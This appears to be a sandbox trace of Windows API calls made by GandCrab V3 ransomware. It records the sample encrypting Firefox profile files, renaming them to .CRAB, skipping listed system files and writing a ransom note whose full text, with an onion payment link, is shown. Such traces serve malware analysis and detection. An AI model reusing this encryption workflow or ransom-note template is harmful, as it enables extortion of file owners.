	[0122.934] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.934] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.934] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.934] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x120, lpOverlapped=0x0) returned 1
	[0122.946] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.946] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.946] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.947] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffee0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.947] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x120, lpOverlapped=0x0) returned 1
	[0122.947] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.947] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.953] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.953] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.961] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.961] CloseHandle (hObject=0x3e0) returned 1
	[0122.962] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.962] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.962] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.963] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.963] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.963] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.963] lstrcmpW (lpString1="sessionstore-backups", lpString2=".") returned 1
	[0122.963] lstrcmpW (lpString1="sessionstore-backups", lpString2="..") returned 1
	[0122.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore-backups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups"
	[0122.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\"
	[0122.963] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0122.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0122.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0122.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0122.964] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0122.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0122.964] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0122.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0122.964] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0122.964] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0122.964] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.964] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\\\CRAB-DECRYPT.txt") returned 118
	[0122.964] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.052] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.052] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0123.053] CloseHandle (hObject=0x3e0) returned 1
	[0123.053] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\") returned 101
	[0123.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*"
	[0123.054] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x31655d8
	[0123.054] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.054] FindNextFileW (in: hFindFile=0x31655d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.054] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.054] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.054] FindNextFileW (in: hFindFile=0x31655d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.054] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.054] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt"
	[0123.054] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.054] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt") returned 117
	[0123.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt") returned 117
	[0123.054] lstrlenW (lpString=".txt") returned 4
	[0123.054] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.055] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.055] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt") returned 117
	[0123.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\CRAB-DECRYPT.txt") returned 117
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.055] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.055] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.056] FindNextFileW (in: hFindFile=0x31655d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.056] lstrcmpW (lpString1="previous.js", lpString2=".") returned 1
	[0123.056] lstrcmpW (lpString1="previous.js", lpString2="..") returned 1
	[0123.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="previous.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js"
	[0123.056] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.056] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112
	[0123.056] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112
	[0123.056] lstrlenW (lpString=".js") returned 3
	[0123.056] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.056] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".js ") returned 4
	[0123.057] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.057] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112
	[0123.057] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="desktop.ini") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="autorun.inf") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="ntuser.dat") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="iconcache.db") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="bootsect.bak") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="boot.ini") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="ntuser.dat.log") returned 1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="thumbs.db") returned -1
	[0123.057] lstrcmpiW (lpString1="previous.js", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.057] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.057] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB") returned 117
	[0123.057] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js")) returned 0x20
	[0123.058] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js", dwFileAttributes=0x20) returned 1
	[0123.058] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.crab")) returned 1
	[0123.059] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.059] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB"
	[0123.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB.CRAB"
	[0123.059] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0123.060] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.060] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.060] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.060] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0123.060] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.060] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.061] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e6b0) returned 1
	[0123.061] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.061] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.061] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0123.062] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.062] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.062] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.062] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.062] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6eb78) returned 1
	[0123.063] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165718) returned 1
	[0123.063] CryptGetKeyParam (in: hKey=0x3165718, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0123.063] CryptEncrypt (in: hKey=0x3165718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0123.063] GetLastError () returned 0x0
	[0123.063] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.063] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6eb78) returned 1
	[0123.063] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165758) returned 1
	[0123.064] CryptGetKeyParam (in: hKey=0x3165758, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0123.064] CryptEncrypt (in: hKey=0x3165758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0123.064] GetLastError () returned 0x0
	[0123.064] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\previous.js.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0123.064] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0123.065] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0123.065] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x29d43, lpOverlapped=0x0) returned 1
	[0123.084] VirtualAlloc (lpAddress=0x0, dwSize=0x29d50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0123.086] VirtualAlloc (lpAddress=0x0, dwSize=0x29d50, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0123.088] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.089] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffd62bd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.089] WriteFile (in: hFile=0x3d8, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x29d50, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x314946c*=0x29d50, lpOverlapped=0x0) returned 1
	[0123.090] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.090] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.094] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0123.094] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0123.094] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0123.094] CloseHandle (hObject=0x3d8) returned 1
	[0123.094] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.094] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.095] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.095] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.095] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.095] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.095] FindNextFileW (in: hFindFile=0x31655d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.095] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2=".") returned 1
	[0123.095] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2="..") returned 1
	[0123.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="upgrade.js-20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419"
